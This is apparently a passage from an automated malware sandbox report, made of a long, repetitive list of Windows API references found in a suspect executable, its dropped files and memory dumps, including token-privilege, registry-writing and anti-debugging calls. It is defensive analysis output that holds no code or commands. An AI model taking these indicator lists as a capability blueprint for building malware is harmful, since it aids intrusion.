API (Indicator: "ExpandEnvironmentStringsA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "FindClose"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "LocalAlloc"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "lstrcmpA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "CompareStringA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetLastError"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetFileAttributesA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "LoadLibraryA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "DeleteFileA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GlobalAlloc"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GlobalFree"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "CloseHandle"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "WritePrivateProfileStringA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "IsDBCSLeadByte"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetWindowsDirectoryA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "SetFileAttributesA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetProcAddress"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GlobalLock"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "LocalFree"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "RemoveDirectoryA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "FreeLibrary"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "CreateDirectoryA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetPrivateProfileIntA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetPrivateProfileStringA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GlobalUnlock"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "ReadFile"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "SizeofResource"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "WriteFile"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetDriveTypeA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "LoadLibraryExA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "SetFileTime"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "SetFilePointer"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "FindResourceA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "CreateMutexA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetVolumeInformationA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetCurrentDirectoryA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "FreeResource"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetVersion"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "SetCurrentDirectoryA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetTempPathA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "LocalFileTimeToFileTime"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "CreateFileA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "SetEvent"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "TerminateThread"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetVersionExA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "LockResource"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetSystemInfo"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "CreateThread"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "ResetEvent"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "LoadResource"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "ExitProcess"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetModuleHandleW"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "CreateProcessA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "FormatMessageA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetTempFileNameA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "DosDateTimeToFileTime"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "CreateEventA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetExitCodeProcess"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetDeviceCaps"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetDesktopWindow"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "CharUpperA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "ExitWindowsEx"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "MessageBeep"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "CharPrevA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "LoadStringA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "CharNextA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "EnableWindow"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "ReleaseDC"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "SetForegroundWindow"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "PeekMessageA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "SendMessageA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "MessageBoxA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "SetWindowTextA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetWindowLongA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "CallWindowProcA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "SetWindowLongA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "ShowWindow"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "SetWindowPos"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetDC"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetWindowRect"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "DispatchMessageA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "VerQueryValueA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetFileVersionInfoA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "Sleep"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetStartupInfoW"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "TerminateProcess"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetCurrentProcessId"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetTickCount"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "EnumResourceLanguagesA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetDiskFreeSpaceA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "MulDiv"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetSystemMetrics"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "LocaleNameToLCID"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "VirtualFree"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "VirtualAlloc"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "InitializeSListHead"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "IsDebuggerPresent"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "RtlUnwind"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "SetLastError"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "EnterCriticalSection"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "LeaveCriticalSection"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "DeleteCriticalSection"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "TlsAlloc"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "TlsGetValue"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "TlsSetValue"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "TlsFree"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "LoadLibraryExW"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "EncodePointer"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "RaiseException"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "GetStdHandle"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "GetModuleFileNameW"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "GetModuleHandleExW"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "HeapFree"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "HeapAlloc"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "HeapReAlloc"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "LCMapStringW"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "FindFirstFileExW"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "FindNextFileW"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "IsValidCodePage"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "GetACP"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "GetOEMCP"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "GetCPInfo"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "GetCommandLineA"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "GetCommandLineW"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "MultiByteToWideChar"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "WideCharToMultiByte"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "SetStdHandle"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "GetFileType"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "GetStringTypeW"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "GetProcessHeap"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "HeapSize"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "FlushFileBuffers"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "GetConsoleMode"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "SetFilePointerEx"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "CreateFileW"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "WriteConsoleW"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "DecodePointer"; File: "6NB6dz2.exe.1433957273") Found reference to API (Indicator: "SHBrowseForFolderW"; File: "7is1Ar50.exe.1610895698") Found reference to API (Indicator: "SHGetPathFromIDListW"; File: "7is1Ar50.exe.1610895698") Found reference to API (Indicator: "GetLongPathNameW"; File: "7is1Ar50.exe.1610895698") Found reference to API (Indicator: "SHGetKnownFolderPath"; File: "7is1Ar50.exe.1610895698") Found reference to API (Indicator: "RtlGetVersion"; File: "7is1Ar50.exe.1610895698") Found reference to API (Indicator: "SetCurrentDirectoryW"; File: "7is1Ar50.exe.1610895698") Found reference to API (Indicator: "UnregisterWait"; File: "7is1Ar50.exe.1610895698") Found reference to API (Indicator: "GetCurrentThread"; File: "7is1Ar50.exe.1610895698") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "EqualSid"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "FreeResource"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "CharUpperA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "CharPrevA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00003484.00000001.70797.00831000.00000020.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00003484.00000001.70797.00831000.00000020.mdmp") Found reference to API (Indicator: "DecryptFileA"; Source: "00000000-00003484.00000001.70797.00831000.00000020.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00003812.00000002.72677.000F1000.00000020.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00003812.00000002.72677.000F1000.00000020.mdmp") Found reference to API (Indicator: "DecryptFileA"; Source: "00000000-00003812.00000002.72677.000F1000.00000020.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API (Indicator: 